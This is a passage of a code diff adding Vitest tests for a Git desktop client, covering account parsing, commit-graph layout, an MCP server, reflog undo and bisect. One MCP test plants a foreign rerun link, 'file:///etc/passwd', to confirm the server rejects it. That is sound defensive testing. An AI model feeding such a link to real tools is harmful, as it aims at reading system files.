undefined); + expect(pushed).toEqual(['a', 'b', 'c']); + for (const name of ['a', 'b', 'c']) { + expect(repo.git(['--git-dir', repo.remotePath!, 'rev-parse', `refs/heads/${name}`])).toBe(repo.git(['rev-parse', name])); + } + expect(repo.git(['rev-parse', '--abbrev-ref', 'c@{upstream}']).trim()).toBe('origin/c'); + }); +}); diff --git a/test/fixture/tools.test.ts b/test/fixture/tools.test.ts index 54ab581..23e0f70 100644 --- a/test/fixture/tools.test.ts +++ b/test/fixture/tools.test.ts @@ -21,7 +21,7 @@ function fakeStore(): Store { describe.skipIf(!hasOnPath('gpg', ['--version']))('ToolLocator: gpg detection', () => { it('reports gpg as installed with a parsed version', async () => { const locator = new ToolLocator(fakeStore()); - await locator.ensureLocated(); + await locator.ensure('gpg'); const state = locator.current(); expect(state.gpg.installed).toBe(true); expect(state.gpg.path).toBeTruthy(); @@ -32,7 +32,7 @@ describe.skipIf(!hasOnPath('gpg', ['--version']))('ToolLocator: gpg detection', describe.skipIf(!hasOnPath('ssh-keygen', ['-V']))('ToolLocator: ssh-keygen detection', () => { it('reports ssh-keygen as installed by presence on PATH', async () => { const locator = new ToolLocator(fakeStore()); - await locator.ensureLocated(); + await locator.ensure('sshKeygen'); const state = locator.current(); expect(state.sshKeygen.installed).toBe(true); expect(state.sshKeygen.path).toBeTruthy(); @@ -41,17 +41,17 @@ describe.skipIf(!hasOnPath('ssh-keygen', ['-V']))('ToolLocator: ssh-keygen detec describe.skipIf(!hasOnPath('git', ['--version']))('ToolLocator: pre-scan state', () => { /** - * `current()` answers synchronously from whatever the last scan found, so - * before `ensureLocated()` resolves it reports every tool as missing. Any - * caller that surfaces this state to the user (the `app.tools` IPC handler, - * which the renderer uses to decide whether to show the "GitGood needs Git - * to run" setup screen) has to await the scan first. + * `current()` answers synchronously from whatever the last probe found, so before `ensure('git')` + * resolves git is still `pending`. Any caller that surfaces this state to the user (the `app.tools` + * IPC handler, which the renderer uses to decide whether to show the "GitGood needs Git to run" + * setup screen) has to await the git probe first. */ - it('reports git as missing until the scan has run, and installed afterwards', async () => { + it('reports git as pending until its probe has run, and installed afterwards', async () => { const locator = new ToolLocator(fakeStore()); - expect(locator.current().git.installed).toBe(false); - await locator.ensureLocated(); + expect(locator.current().git).toMatchObject({ installed: false, pending: true }); + await locator.ensure('git'); expect(locator.current().git.installed).toBe(true); + expect(locator.current().git.pending).toBeUndefined(); }); }); diff --git a/test/gh-accounts.test.ts b/test/gh-accounts.test.ts new file mode 100644 index 0000000..37e3d2c --- /dev/null +++ b/test/gh-accounts.test.ts @@ -0,0 +1,99 @@ +import { describe, expect, it } from 'vitest'; +import { ghAccountEnv, gitAccountEnv, isNetworkGitCommand, parseGhAuthStatus, primaryAccount } from '../src/main/gh/accounts'; + +const ONE_ACCOUNT_TEXT = `github.com + ✓ Logged in to github.com account octocat (keyring) + - Active account: true + - Git operations protocol: https + - Token: gho_************************************ + - Token scopes: 'gist', 'read:org', 'repo', 'workflow' +`; + +const TWO_ACCOUNTS_TEXT = `github.com + ✓ Logged in to github.com account octocat (keyring) + - Active account: false + - Git operations protocol: https + - Token: gho_************************************ + - Token scopes: 'gist', 'read:org', 'repo' + + ✓ Logged in to github.com account work-bot (keyring) + - Active account: true + - Git operations protocol: ssh + - Token: gho_************************************ + - Token scopes: 'repo' +`; + +const TWO_ACCOUNTS_JSON = JSON.stringify({ + hosts: { + 'github.com': [ + { state: 'success', active: true, host: 'github.com', login: 'octocat', tokenSource: 'keyring', scopes: 'gist, read:org, repo', gitProtocol: 'https' }, + { state: 'success', active: false, host: 'github.com', login: 'work-bot', tokenSource: 'keyring', scopes: 'repo', gitProtocol: 'ssh' }, + { state: 'error', active: false, host: 'github.com', login: 'stale', tokenSource: 'keyring', scopes: '', gitProtocol: 'https' }, + ], + }, +}); + +describe('parseGhAuthStatus', () => { + it('reads one account from the human-readable output', () => { + expect(parseGhAuthStatus(ONE_ACCOUNT_TEXT)).toEqual([{ host: 'github.com', login: 'octocat', active: true, scopes: ['gist', 'read:org', 'repo', 'workflow'], protocol: 'https' }]); + }); + + it('reads two accounts on one host and which one is active', () => { + const accounts = parseGhAuthStatus(TWO_ACCOUNTS_TEXT); + expect(accounts.map((a) => [a.login, a.active, a.protocol])).toEqual([ + ['octocat', false, 'https'], + ['work-bot', true, 'ssh'], + ]); + expect(primaryAccount(accounts)?.login).toBe('work-bot'); + }); + + it('reads the JSON form, skipping accounts whose token no longer works', () => { + const accounts = parseGhAuthStatus(TWO_ACCOUNTS_JSON); + expect(accounts.map((a) => [a.login, a.active, a.scopes])).toEqual([ + ['octocat', true, ['gist', 'read:org', 'repo']], + ['work-bot', false, ['repo']], + ]); + }); + + it('accepts pre-multi-account gh output and marks a lone account active', () => { + expect(parseGhAuthStatus('github.com\n ✓ Logged in to github.com as octocat (keyring)\n ✓ Git operations for github.com configured to use https protocol.\n')).toEqual([ + { host: 'github.com', login: 'octocat', active: true, scopes: [], protocol: null }, + ]); + }); + + it('ignores failed logins and returns nothing when signed out', () => { + const failed = 'github.com\n X Failed to log in to github.com account octocat (keyring)\n - Active account: true\n - The token in keyring is invalid.\n'; + expect(parseGhAuthStatus(failed)).toEqual([]); + expect(parseGhAuthStatus('You are not logged into any GitHub hosts. To log in, run: gh auth login')).toEqual([]); + }); + + it('keeps each host\u2019s own active account and prefers github.com as primary', () => { + const out = `ghe.example.com\n ✓ Logged in to ghe.example.com account corp (keyring)\n - Active account: true\ngithub.com\n ✓ Logged in to github.com account octocat (keyring)\n - Active account: true\n`; + const accounts = parseGhAuthStatus(out); + expect(accounts.filter((a) => a.active)).toHaveLength(2); + expect(primaryAccount(accounts)?.host).toBe('github.com'); + }); +}); + +describe('account environment', () => { + it('uses GH_TOKEN for github.com and GH_ENTERPRISE_TOKEN for other hosts', () => { + expect(ghAccountEnv('github.com', 't')).toEqual({ GH_TOKEN: 't' }); + expect(ghAccountEnv('ghe.example.com', 't')).toEqual({ GH_ENTERPRISE_TOKEN: 't' }); + }); + + it('appends its credential helper after GIT_CONFIG pairs already in the environment', () => { + const env = gitAccountEnv('github.com', 'tok', { GIT_CONFIG_COUNT: '1', GIT_CONFIG_KEY_0: 'a.b', GIT_CONFIG_VALUE_0: 'c' }); + expect(env.GIT_CONFIG_COUNT).toBe('3'); + expect(env.GIT_CONFIG_KEY_0).toBeUndefined(); + expect(env.GIT_CONFIG_KEY_1).toBe('credential.https://github.com.helper'); + expect(env.GIT_CONFIG_VALUE_1).toBe(''); + expect(env.GIT_CONFIG_KEY_2).toBe('credential.https://github.com.helper'); + expect(env.GIT_CONFIG_VALUE_2).toContain('GITGOOD_ACCOUNT_TOKEN'); + expect(env.GITGOOD_ACCOUNT_TOKEN).toBe('tok'); + }); + + it('treats only remote-talking git subcommands as network commands', () => { + for (const cmd of ['fetch', 'pull', 'push', 'clone', 'ls-remote', 'submodule', 'lfs']) expect(isNetworkGitCommand([cmd])).toBe(true); + for (const cmd of ['status', 'log', 'commit', 'remote']) expect(isNetworkGitCommand([cmd])).toBe(false); + }); +}); diff --git a/test/graph.test.ts b/test/graph.test.ts new file mode 100644 index 0000000..7e1d1db --- /dev/null +++ b/test/graph.test.ts @@ -0,0 +1,90 @@ +import { describe, expect, it } from 'vitest'; +import { extendGraph, type Graph } from '../src/shared/graph'; + +const c = (sha: string, ...parents: string[]) => ({ sha, parents }); +const seg = (g: Graph, i: number) => g.rows[i].segments.map((s) => `${s.kind}:${s.from}>${s.to}`); + +describe('commit graph lanes', () => { + it('keeps a linear history in lane 0 with a single colour', () => { + const g = extendGraph(null, [c('c', 'b'), c('b', 'a'), c('a')]); + expect(g.rows.map((r) => r.column)).toEqual([0, 0, 0]); + expect(new Set(g.rows.map((r) => r.color)).size).toBe(1); + expect(g.width).toBe(1); + expect(seg(g, 0)).toEqual(['down:0>0']); + expect(seg(g, 1)).toEqual(['up:0>0', 'down:0>0']); + expect(seg(g, 2)).toEqual(['up:0>0']); // root: line ends at the node + }); + + it('opens a lane for the merged branch, passes it through, and closes it at the fork point', () => { + // m merges feature tip f2 into main; both descend from base b. + const g = extendGraph(null, [c('m', 'p', 'f2'), c('p', 'b'), c('f2', 'f1'), c('f1', 'b'), c('b')]); + expect(g.rows.map((r) => r.column)).toEqual([0, 0, 1, 1, 0]); + expect(seg(g, 0)).toEqual(['down:0>0', 'down:0>1']); + expect(seg(g, 1)).toEqual(['up:0>0', 'through:1>1', 'down:0>0']); + expect(seg(g, 2)).toEqual(['through:0>0', 'up:1>1', 'down:1>1']); + // f1's first parent b is already expected in lane 0: the branch line bends into it. + expect(seg(g, 3)).toEqual(['through:0>0', 'up:1>1', 'down:1>0']); + expect(seg(g, 4)).toEqual(['up:0>0']); + expect(g.rows[2].color).not.toBe(g.rows[0].color); + expect(g.width).toBe(2); + }); + + it('gives every extra parent of an octopus merge its own lane', () => { + const g = extendGraph(null, [c('o', 'a', 'b', 'd'), c('a'), c('b'), c('d')]); + expect(seg(g, 0)).toEqual(['down:0>0', 'down:0>1', 'down:0>2']); + expect(g.rows.map((r) => r.column)).toEqual([0, 0, 1, 2]); + expect(new Set(g.rows[0].segments.map((s) => s.color)).size).toBe(3); + expect(g.width).toBe(3); + // Each root closes its own lane; lanes it does not own pass through. + expect(seg(g, 2)).toEqual(['up:1>1', 'through:2>2']); + }); + + it('draws two tips converging on a shared parent and reuses freed lanes', () => { + const g = extendGraph(null, [c('x', 'base'), c('y', 'base'), c('base'), c('z')]); + expect(g.rows.map((r) => r.column)).toEqual([0, 1, 0, 0]); + expect(seg(g, 1)).toEqual(['through:0>0', 'down:1>0']); + expect(seg(g, 2)).toEqual(['up:0>0']); // both lanes merged: nothing passes below + expect(g.width).toBe(2); + // z is a fresh tip after everything closed: it starts in the freed lane 0. + expect(seg(g, 3)).toEqual([]); + }); + + it('continues across pages exactly as a single pass would, without mutating the previous graph', () => { + const all = [c('m', 'p', 'f2'), c('p', 'b'), c('f2', 'f1'), c('f1', 'b'), c('b', 'a'), c('a')]; + const page1 = extendGraph(null, all.slice(0, 3)); + const frozen = JSON.stringify(page1); + const both = extendGraph(page1, all); + expect(JSON.stringify(page1)).toBe(frozen); + expect(both.rows).toEqual(extendGraph(null, all).rows); + // The first page's rows are reused, not recomputed. + expect(both.rows[0]).toBe(page1.rows[0]); + // Nothing new: same object back. + expect(extendGraph(both, all)).toBe(both); + }); + + it('leaves dangling lanes open at a page boundary and picks them up on the next page', () => { + const page1 = extendGraph(null, [c('m', 'p', 'f2'), c('p', 'b')]); + expect(page1.state.ids).toEqual(['b', 'f2']); + const page2 = extendGraph(page1, [c('m', 'p', 'f2'), c('p', 'b'), c('f2', 'f1')]); + expect(seg(page2, 2)).toEqual(['through:0>0', 'up:1>1', 'down:1>1']); + }); + + it('recomputes when the list no longer extends the previous one', () => { + const before = extendGraph(null, [c('b', 'a'), c('a')]); + const after = extendGraph(before, [c('n', 'b'), c('b', 'a'), c('a')]); + expect(after.rows).toHaveLength(3); + expect(after.firstSha).toBe('n'); + expect(extendGraph(before, []).rows).toEqual([]); + }); + + it('stays linear-time on a long history with a long-lived side branch', () => { + const commits = []; + for (let i = 20000; i > 0; i--) commits.push(c(`m${i}`, `m${i - 1}`)); + commits.splice(100, 0, c('side', 'm5')); + commits[99] = c('m19901', 'm19900', 'side'); + const start = performance.now(); + const g = extendGraph(null, commits); + expect(performance.now() - start).toBeLessThan(1000); + expect(g.width).toBe(2); + }); +}); diff --git a/test/helpers/fake-tools.ts b/test/helpers/fake-tools.ts index a8df9cb..4aa6948 100644 --- a/test/helpers/fake-tools.ts +++ b/test/helpers/fake-tools.ts @@ -11,6 +11,8 @@ export interface FakeToolsOptions { /** Extra environment variables merged on top of process.env for env()/ghEnv(). */ env?: NodeJS.ProcessEnv; ghAccount?: GitHubAccount | null; + /** What `repoAccount()` resolves to (a repository with a chosen GitHub account); null = follows the active account. */ + repoAccount?: { host: string; token: string } | null; } /** @@ -30,6 +32,7 @@ export function createFakeTools(opts: FakeToolsOptions = {}): ToolLocator { gpg: { installed: !!opts.gpgPath, version: 'test', path: opts.gpgPath ?? null, error: opts.gpgPath ? null : 'gpg not configured in fake tools' }, sshKeygen: { installed: !!opts.sshKeygenPath, version: null, path: opts.sshKeygenPath ?? null, error: opts.sshKeygenPath ? null : 'ssh-keygen not configured in fake tools' }, ghAccount: opts.ghAccount ?? null, + ghAccounts: [], ghAuthError: null, credentialHelperConfigured: false, }; @@ -46,10 +49,19 @@ export function createFakeTools(opts: FakeToolsOptions = {}): ToolLocator { current(): ToolsState { return state; }, - async ensureLocated(): Promise {}, + async ensure(key: 'git' | 'gh' | 'claudeCli' | 'gitLfs' | 'gpg' | 'sshKeygen'): Promise { + return state[key]; + }, + async repoAccount(): Promise<{ host: string; token: string } | null> { + return opts.repoAccount ?? null; + }, async refresh(): Promise { return state; }, + async refreshAuth(): Promise { + return state; + }, + onChange(): void {}, gitPath(): string { if (!opts.gitPath) throw new Error('Git was not found (fake tools).'); return opts.gitPath; diff --git a/test/mcp-server.test.ts b/test/mcp-server.test.ts new file mode 100644 index 0000000..cb79016 --- /dev/null +++ b/test/mcp-server.test.ts @@ -0,0 +1,169 @@ +import { execFileSync } from 'node:child_process'; +import { mkdir, mkdtemp, realpath, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import type { ReviewRun } from '../src/shared/types'; +import { buildExportJson, serializeExport } from '../src/main/ai/review-export'; +import { handleMessage, PROTOCOL_VERSIONS, TOOLS, type McpDeps } from '../src/mcp/server'; +import { hasGitSync } from './helpers/repo'; + +function run(repoPath: string, kind: 'worktree' | 'branch' = 'worktree'): ReviewRun { + return { + id: 'run-1', repoPath, target: kind === 'worktree' ? { kind: 'worktree', paths: ['a.ts'], partialPaths: [], indexSha: '' } : { kind: 'branch', base: 'main', head: 'feat', baseSha: 'a'.repeat(40), headSha: 'b'.repeat(40) }, startedAt: '2026-09-18T10:00:00.000Z', finishedAt: '2026-09-18T10:00:01.000Z', model: 'm', provider: 'claude-cli', effort: 'high', strictness: 'strict', summary: 'Two things to fix', verdict: null, + findings: [ + { id: 'a', path: 'src/a.ts', line: 7, endLine: 9, severity: 'blocker', category: 'bug', title: 'Off by one', detail: 'Loop skips the last item.', suggestion: 'for (const x of xs) {}', confidence: 'high', dismissed: false }, + { id: 'b', path: 'src/a.ts', line: 2, endLine: null, severity: 'nit', category: 'style', title: 'Naming', detail: 'Rename it.', suggestion: null, confidence: 'low', dismissed: false }, + { id: 'd', path: 'src/b.ts', line: 4, endLine: null, severity: 'warning', category: 'docs', title: 'Dismissed', detail: 'x', suggestion: null, confidence: 'high', dismissed: true }, + ], + files: [], droppedInvalid: 0, error: null, cancelled: false, ownPullRequest: false, commitMessageMatches: null, commitMessageNote: '', + }; +} + +const rpc = (method: string, params?: unknown, id: number | string = 1) => ({ jsonrpc: '2.0', id, method, ...(params === undefined ? {} : { params }) }); + +interface Reply { + jsonrpc: string; + id: unknown; + result?: { protocolVersion?: string; tools?: { name: string; inputSchema: { required: string[] } }[]; content?: { text: string }[]; isError?: boolean; capabilities?: unknown }; + error?: { code: number; message: string }; +} +const call = async (msg: unknown, deps: McpDeps) => (await handleMessage(msg, deps)) as Reply; + +function recorder(overrides: Partial = {}): McpDeps & { urls: string[]; dirs: string[] } { + const urls: string[] = []; + const dirs: string[] = []; + return { urls, dirs, openUrl: async (u) => void urls.push(u), launchApp: async (d) => void dirs.push(d), ...overrides }; +} + +describe('MCP protocol', () => { + const deps = recorder(); + + it('answers initialize with the requested version when supported and the newest otherwise', async () => { + for (const v of PROTOCOL_VERSIONS) expect((await call(rpc('initialize', { protocolVersion: v }), deps)).result?.protocolVersion).toBe(v); + for (const params of [{ protocolVersion: '1999-01-01' }, {}, undefined]) expect((await call(rpc('initialize', params), deps)).result?.protocolVersion).toBe(PROTOCOL_VERSIONS[0]); + const res = await call(rpc('initialize', { protocolVersion: '2025-06-18' }, 'abc'), deps); + expect(res).toMatchObject({ jsonrpc: '2.0', id: 'abc', result: { capabilities: { tools: {} }, serverInfo: { name: 'gitgood' } } }); + }); + + it('sends nothing for notifications, including notifications/initialized', async () => { + expect(await handleMessage({ jsonrpc: '2.0', method: 'notifications/initialized' }, deps)).toBeNull(); + expect(await handleMessage({ jsonrpc: '2.0', method: 'whatever/unknown' }, deps)).toBeNull(); + }); + + it('answers ping and lists the three tools with required-argument schemas', async () => { + expect((await call(rpc('ping'), deps)).result).toEqual({}); + const tools = (await call(rpc('tools/list'), deps)).result!.tools!; + expect(tools.map((t) => t.name)).toEqual(['gitgood_latest_review', 'gitgood_request_rereview', 'gitgood_open_repository']); + expect(tools.map((t) => t.inputSchema.required)).toEqual([['repoPath'], ['repoPath'], ['path']]); + expect(tools).toEqual(TOOLS); + }); + + it('reports protocol errors with JSON-RPC codes', async () => { + expect((await call(rpc('nope'), deps)).error?.code).toBe(-32601); + expect((await call(rpc('tools/call', { name: 'nope' }), deps)).error?.code).toBe(-32602); + expect((await call('garbage', deps)).error?.code).toBe(-32600); + expect((await call({ jsonrpc: '1.0', id: 1, method: 'ping' }, deps)).error?.code).toBe(-32600); + expect((await call([rpc('ping')], deps)).error?.code).toBe(-32600); + }); +}); + +describe.skipIf(!hasGitSync())('MCP tools against a repository', () => { + async function repoWithExport(opts: { kind?: 'worktree' | 'branch'; raw?: string } = {}) { + const root = await realpath(await mkdtemp(join(tmpdir(), 'gg-mcp-'))); + execFileSync('git', ['init', '-q', '-b', 'main', root]); + execFileSync('git', ['-c', 'user.name=t', '-c', 'user.email=t@e', 'commit', '-q', '--allow-empty', '-m', 'init'], { cwd: root }); + const dir = join(root, '.git', 'gitgood', 'review'); + await mkdir(dir, { recursive: true }); + await writeFile(join(dir, 'latest.json'), opts.raw ?? serializeExport(buildExportJson(run(root, opts.kind), null, 'linux', 'tok 1&2')), 'utf8'); + return root; + } + const tool = (name: string, args: unknown, deps: McpDeps) => call(rpc('tools/call', { name, arguments: args }), deps); + const text = (r: Reply) => r.result!.content![0].text; + + it('latest_review returns open findings with file, line, severity, message, suggestion and the rerun link', async () => { + const root = await repoWithExport(); + const r = await tool('gitgood_latest_review', { repoPath: root }, recorder()); + expect(r.result?.isError).toBeUndefined(); + const out = JSON.parse(text(r)); + expect(out).toMatchObject({ runId: 'run-1', summary: 'Two things to fix', dismissedCount: 1 }); + expect(out.findings).toEqual([ + { file: 'src/a.ts', line: 7, endLine: 9, severity: 'blocker', category: 'bug', title: 'Off by one', message: 'Loop skips the last item.', suggestion: 'for (const x of xs) {}', confidence: 'high' }, + { file: 'src/a.ts', line: 2, endLine: null, severity: 'nit', category: 'style', title: 'Naming', message: 'Rename it.', suggestion: null, confidence: 'low' }, + ]); + expect(out.rerun.url).toBe(`gitgood://review/rerun?repo=${encodeURIComponent(root)}&token=${encodeURIComponent('tok 1&2')}`); + }); + + it('finds the export from a subfolder and uses the linked worktree\'s own git directory', async () => { + const root = await repoWithExport(); + await mkdir(join(root, 'sub')); + expect(JSON.parse(text(await tool('gitgood_latest_review', { repoPath: join(root, 'sub') }, recorder()))).runId).toBe('run-1'); + + const wt = join(root, '..', `${root.split(/[\\/]/).pop()}-wt`); + execFileSync('git', ['worktree', 'add', '-q', '-b', 'other', wt], { cwd: root }); + const miss = await tool('gitgood_latest_review', { repoPath: wt }, recorder()); + expect(miss.result?.isError).toBe(true); + expect(text(miss)).toContain('No GitGood review export'); + expect(text(miss)).toMatch(/worktrees[\\/]/); + }); + + it('request_rereview opens exactly the tokenised link from the export', async () => { + const root = await repoWithExport(); + const deps = recorder(); + const r = await tool('gitgood_request_rereview', { repoPath: root }, deps); + expect(r.result?.isError).toBeUndefined(); + expect(deps.urls).toEqual([`gitgood://review/rerun?repo=${encodeURIComponent(root)}&token=${encodeURIComponent('tok 1&2')}`]); + }); + + it('request_rereview fails clearly without a link, with a foreign link, or when the opener fails', async () => { + const deps = recorder(); + const branch = await tool('gitgood_request_rereview', { repoPath: await repoWithExport({ kind: 'branch' }) }, deps); + expect(branch.result?.isError).toBe(true); + expect(text(branch)).toContain('no re-review link'); + + const evil = JSON.stringify({ findings: [], runId: 'r', rerun: { url: 'file:///etc/passwd', command: '' } }); + const foreign = await tool('gitgood_request_rereview', { repoPath: await repoWithExport({ raw: evil }) }, deps); + expect(foreign.result?.isError).toBe(true); + expect(deps.urls).toEqual([]); + + const failing = recorder({ openUrl: async () => { throw new Error('no handler'); } }); + const r = await tool('gitgood_request_rereview', { repoPath: await repoWithExport() }, failing); + expect(r.result?.isError).toBe(true); + expect(text(r)).toContain('no handler'); + }); + + it('reports missing, corrupt and non-repository inputs as tool errors', async () => { + const deps = recorder(); + const noExport = await realpath(await mkdtemp(join(tmpdir(), 'gg-mcp-'))); + execFileSync('git', ['init', '-q', noExport]); + const cases: [string, unknown, RegExp][] = [ + ['gitgood_latest_review', { repoPath: noExport }, /No GitGood review export/], + ['gitgood_latest_review', { repoPath: await repoWithExport({ raw: '{nope' }) }, /not a valid GitGood review export/], + ['gitgood_latest_review', { repoPath: await mkdtemp(join(tmpdir(), 'gg-mcp-plain-')) }, /not inside a git repository/], + ['gitgood_latest_review', { repoPath: join(noExport, 'missing') }, /not a directory/], + ['gitgood_latest_review', {}, /"repoPath" must be a non-empty string/], + ['gitgood_open_repository', { path: 42 }, /"path" must be a non-empty string/], + ]; + for (const [name, args, re] of cases) { + const r = await tool(name, args, deps); + expect(r.error).toBeUndefined(); + expect(r.result?.isError).toBe(true); + expect(text(r)).toMatch(re); + } + }); + + it('open_repository launches GitGood on the repository root, from any folder inside it', async () => { + const root = await repoWithExport(); + await mkdir(join(root, 'sub')); + const deps = recorder(); + const r = await tool('gitgood_open_repository', { path: join(root, 'sub') }, deps); + expect(r.result?.isError).toBeUndefined(); + expect(deps.dirs).toEqual([root]); + expect(JSON.parse(text(r))).toEqual({ opened: root }); + + const failing = recorder({ launchApp: async () => { throw new Error('gitgood was not found'); } }); + const bad = await tool('gitgood_open_repository', { path: root }, failing); + expect(bad.result?.isError).toBe(true); + expect(text(bad)).toContain('gitgood was not found'); + }); +}); diff --git a/test/reflog-bisect.test.ts b/test/reflog-bisect.test.ts new file mode 100644 index 0000000..6ad6045 --- /dev/null +++ b/test/reflog-bisect.test.ts @@ -0,0 +1,198 @@ +import { existsSync } from 'node:fs'; +import { join } from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { bisectHistoryRef, bisectMark, bisectReset, bisectStart, getBisectState } from '../src/main/git/bisect'; +import { GitClient } from '../src/main/git/git'; +import { getReflog, getUndoPlan, planUndo, resetKeep } from '../src/main/git/reflog'; +import { createRepo, hasGitSync } from './helpers/repo'; + +describe.skipIf(!hasGitSync())('reflog', () => { + it('lists HEAD entries newest first with action, message and sha', async () => { + const repo = await createRepo({ commits: [{ message: 'one', files: { a: '1' } }, { message: 'two', files: { a: '2' } }] }); + try { + const git = new GitClient(repo.tools()); + const two = repo.git(['rev-parse', 'HEAD']).trim(); + repo.git(['commit', '--amend', '-m', 'two amended']); + repo.git(['checkout', '-q', '-b', 'side']); + repo.git(['checkout', '-q', 'main']); + repo.git(['reset', '-q', '--hard', 'HEAD~1']); + const entries = await getReflog(git, repo.path); + expect(entries.slice(0, 5).map((e) => [e.action, e.message])).toEqual([ + ['reset', 'moving to HEAD~1'], + ['checkout', 'moving from side to main'], + ['checkout', 'moving from main to side'], + ['commit (amend)', 'two amended'], + ['commit', 'two'], + ]); + expect(entries.map((e) => e.index)).toEqual(entries.map((_, i) => i)); + expect(entries[4].sha).toBe(two); + expect(entries[0].sha).toBe(repo.git(['rev-parse', 'HEAD']).trim()); + expect(entries[0].timestamp).toBeGreaterThan(0); + } finally { + await repo.dispose(); + } + }); + + it('undo-last of a commit, amend or reset restores the previous HEAD', async () => { + const repo = await createRepo({ commits: [{ message: 'zero', files: { a: '0' } }, { message: 'one', files: { a: '1' } }] }); + try { + const git = new GitClient(repo.tools()); + for (const step of [ + () => repo.commit({ message: 'two', files: { a: '2' } }), + () => repo.git(['commit', '--amend', '--allow-empty', '-m', 'two b']), + () => repo.git(['reset', '-q', '--hard', 'HEAD~1']), + ]) { + const before = repo.git(['rev-parse', 'HEAD']).trim(); + step(); + const plan = await getUndoPlan(git, repo.path); + expect(plan?.kind).toBe('reset'); + if (plan?.kind !== 'reset') throw new Error('unreachable'); + await resetKeep(git, repo.path, plan.target.sha, false); + expect(repo.git(['rev-parse', 'HEAD']).trim()).toBe(before); + // the branch keeps pointing at the restored commit and the tree matches it + expect(repo.git(['status', '--porcelain']).trim()).toBe(''); + } + } finally { + await repo.dispose(); + } + }); + + it('describes the undone entry and skips no-op resets', async () => { + const repo = await createRepo({ commits: [{ message: 'one', files: { a: '1' } }] }); + try { + const git = new GitClient(repo.tools()); + repo.commit({ message: 'two', files: { a: '2' } }); + repo.git(['reset', '-q', '--hard', 'HEAD']); + const plan = await getUndoPlan(git, repo.path); + expect(plan).toMatchObject({ kind: 'reset', description: 'Commit: two' }); + } finally { + await repo.dispose(); + } + }); + + it('undoes a whole rebase, not just its last replayed commit', async () => { + const repo = await createRepo({ commits: [{ message: 'base', files: { a: '1' } }] }); + try { + const git = new GitClient(repo.tools()); + repo.git(['checkout', '-q', '-b', 'feat']); + repo.commit({ message: 'f1', files: { f1: '1' } }); + repo.commit({ message: 'f2', files: { f2: '1' } }); + const before = repo.git(['rev-parse', 'HEAD']).trim(); + repo.git(['checkout', '-q', 'main']); + repo.commit({ message: 'm1', files: { m1: '1' } }); + repo.git(['checkout', '-q', 'feat']); + repo.git(['rebase', 'main']); + expect(repo.git(['rev-parse', 'HEAD']).trim()).not.toBe(before); + const plan = await getUndoPlan(git, repo.path); + expect(plan).toMatchObject({ kind: 'reset', description: 'Rebase' }); + if (plan?.kind !== 'reset') throw new Error('unreachable'); + await resetKeep(git, repo.path, plan.target.sha, false); + expect(repo.git(['rev-parse', 'HEAD']).trim()).toBe(before); + } finally { + await repo.dispose(); + } + }); + + it('offers switching back after a checkout, naming a branch or a detached commit', async () => { + const repo = await createRepo({ commits: [{ message: 'one', files: { a: '1' } }], branches: { other: undefined } }); + try { + const git = new GitClient(repo.tools()); + repo.git(['checkout', '-q', 'other']); + expect(await getUndoPlan(git, repo.path)).toMatchObject({ kind: 'checkout', ref: 'main', isBranch: true }); + repo.git(['checkout', '-q', '--detach']); + const detachedAt = repo.git(['rev-parse', 'HEAD']).trim(); + repo.git(['checkout', '-q', 'main']); + expect(await getUndoPlan(git, repo.path)).toMatchObject({ kind: 'checkout', ref: detachedAt, isBranch: false }); + } finally { + await repo.dispose(); + } + }); + + it('has nothing to undo for a fresh repository', () => { + expect(planUndo([{ index: 0, sha: 'a'.repeat(40), action: 'commit (initial)', message: 'one', timestamp: 0 }], new Set())).toBeNull(); + }); + + it('reset --keep keeps unrelated local changes and refuses overlapping ones unless stashing first', async () => { + const repo = await createRepo({ commits: [{ message: 'one', files: { a: '1', b: '1' } }, { message: 'two', files: { a: '2' } }] }); + try { + const git = new GitClient(repo.tools()); + const first = repo.git(['rev-parse', 'HEAD~1']).trim(); + await repo.write('b', 'local edit'); + await resetKeep(git, repo.path, first, false); + expect(repo.git(['status', '--porcelain']).trim()).toBe('M b'); + + repo.git(['checkout', '-q', 'main']); + repo.git(['reset', '-q', '--hard', 'ORIG_HEAD']); + await repo.write('a', 'conflicting local edit'); + await expect(resetKeep(git, repo.path, first, false)).rejects.toMatchObject({ info: { code: 'local-changes-overwritten' } }); + await resetKeep(git, repo.path, first, true); + expect(repo.git(['rev-parse', 'HEAD']).trim()).toBe(first); + expect(repo.git(['stash', 'list']).trim()).not.toBe(''); + } finally { + await repo.dispose(); + } + }); +}); + +describe.skipIf(!hasGitSync())('bisect', () => { + it('walks an 8-commit history to the first bad commit, then reset restores the branch', async () => { + const repo = await createRepo({ + commits: Array.from({ length: 8 }, (_, i) => ({ message: `c${i + 1}`, files: { [`f${i + 1}`]: 'x', ...(i + 1 >= 5 ? { bug: 'yes' } : {}) } })), + }); + try { + const git = new GitClient(repo.tools()); + const head = repo.git(['rev-parse', 'HEAD']).trim(); + const c1 = repo.git(['rev-parse', 'HEAD~7']).trim(); + const c5 = repo.git(['rev-parse', 'HEAD~3']).trim(); + expect(await bisectHistoryRef(git, repo.path)).toBeNull(); + expect(await getBisectState(git, repo.path)).toBeNull(); + + await bisectStart(git, repo.path, head, c1); + expect(await bisectHistoryRef(git, repo.path)).toBe('main'); + let state = await getBisectState(git, repo.path); + expect(state).toMatchObject({ bad: head, good: [c1], firstBad: null }); + expect(state?.remaining).toBeGreaterThan(0); + expect(state?.steps).toBeGreaterThan(0); + await expect(bisectStart(git, repo.path, head, c1)).rejects.toThrow(/already in progress/); + + for (let guard = 0; guard < 8 && !state?.firstBad; guard += 1) { + await bisectMark(git, repo.path, existsSync(join(repo.path, 'bug')) ? 'bad' : 'good', null); + state = await getBisectState(git, repo.path); + } + expect(state?.firstBad).toEqual({ sha: c5, summary: 'c5' }); + + await bisectReset(git, repo.path); + expect(await getBisectState(git, repo.path)).toBeNull(); + expect(repo.git(['branch', '--show-current']).trim()).toBe('main'); + expect(repo.git(['rev-parse', 'HEAD']).trim()).toBe(head); + } finally { + await repo.dispose(); + } + }); + + it('marks explicit commits and rolls back a start that cannot check out', async () => { + const repo = await createRepo({ commits: Array.from({ length: 4 }, (_, i) => ({ message: `c${i + 1}`, files: { [`f${i + 1}`]: 'x' } })) }); + try { + const git = new GitClient(repo.tools()); + const c1 = repo.git(['rev-parse', 'HEAD~3']).trim(); + const c4 = repo.git(['rev-parse', 'HEAD']).trim(); + await expect(bisectStart(git, repo.path, c4, 'does-not-exist')).rejects.toThrow(/not a commit/); + expect(await 